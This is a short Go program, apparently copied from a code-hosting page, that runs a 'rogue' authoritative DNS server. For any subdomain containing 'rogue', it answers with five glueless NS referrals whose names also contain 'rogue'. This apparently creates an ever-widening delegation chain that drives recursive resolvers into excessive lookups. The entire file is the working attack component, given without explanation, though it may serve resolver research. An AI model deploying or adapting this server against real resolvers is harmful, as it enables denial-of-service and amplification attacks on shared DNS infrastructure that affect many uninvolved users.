65 lines
1.6 KiB
Go
65 lines
1.6 KiB
Go
package main
|
|
|
|
import (
|
|
"flag"
|
|
"net"
|
|
"strconv"
|
|
"strings"
|
|
|
|
"github.com/miekg/dns"
|
|
)
|
|
|
|
func rogue_delegation(w dns.ResponseWriter, r *dns.Msg) {
|
|
m := new(dns.Msg)
|
|
m.SetReply(r)
|
|
m.Compress = true
|
|
m.Authoritative = true
|
|
|
|
qname := m.Question[0].Name
|
|
qtype := m.Question[0].Qtype
|
|
subdomain := strings.ToLower(strings.Split(qname, ".")[0])
|
|
if qtype == dns.TypeA {
|
|
if subdomain == "ns1" || subdomain == "ns2" {
|
|
resp := &dns.A{
|
|
Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10},
|
|
A: net.ParseIP(CONFIG_NS),
|
|
}
|
|
m.Answer = append(m.Answer, resp)
|
|
} else if strings.Contains(subdomain, "rogue") {
|
|
var ns_target string
|
|
var resp *dns.NS
|
|
for i := 0; i < 5; i++ {
|
|
ns_target = strings.Join([]string{subdomain + strconv.Itoa(i), CONFIG_SLD}, ".")
|
|
resp = &dns.NS{
|
|
Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 10},
|
|
Ns: dns.Fqdn(ns_target),
|
|
}
|
|
m.Ns = append(m.Ns, resp)
|
|
}
|
|
} else {
|
|
m.MsgHdr.Rcode = dns.RcodeNameError
|
|
}
|
|
} else {
|
|
m.MsgHdr.Rcode = dns.RcodeNameError
|
|
}
|
|
w.WriteMsg(m)
|
|
}
|
|
|
|
var CONFIG_SLD string
|
|
var CONFIG_NS string
|
|
|
|
func main() {
|
|
flag.StringVar(&CONFIG_NS, "ns", "8.8.8.8", "nameserver ip address")
|
|
flag.StringVar(&CONFIG_SLD, "sld", "", "configure sld for rogue server")
|
|
flag.Parse()
|
|
if CONFIG_SLD == "" {
|
|
panic("Please configure the SLD for the echo dns server!\n")
|
|
}
|
|
dns.HandleFunc(dns.Fqdn(CONFIG_SLD), rogue_delegation)
|
|
server := &dns.Server{Addr: ":53", Net: "udp"}
|
|
if err := server.ListenAndServe(); err != nil {
|
|
println("Failed to set up the rogue server")
|
|
panic(err)
|
|
}
|
|
}
|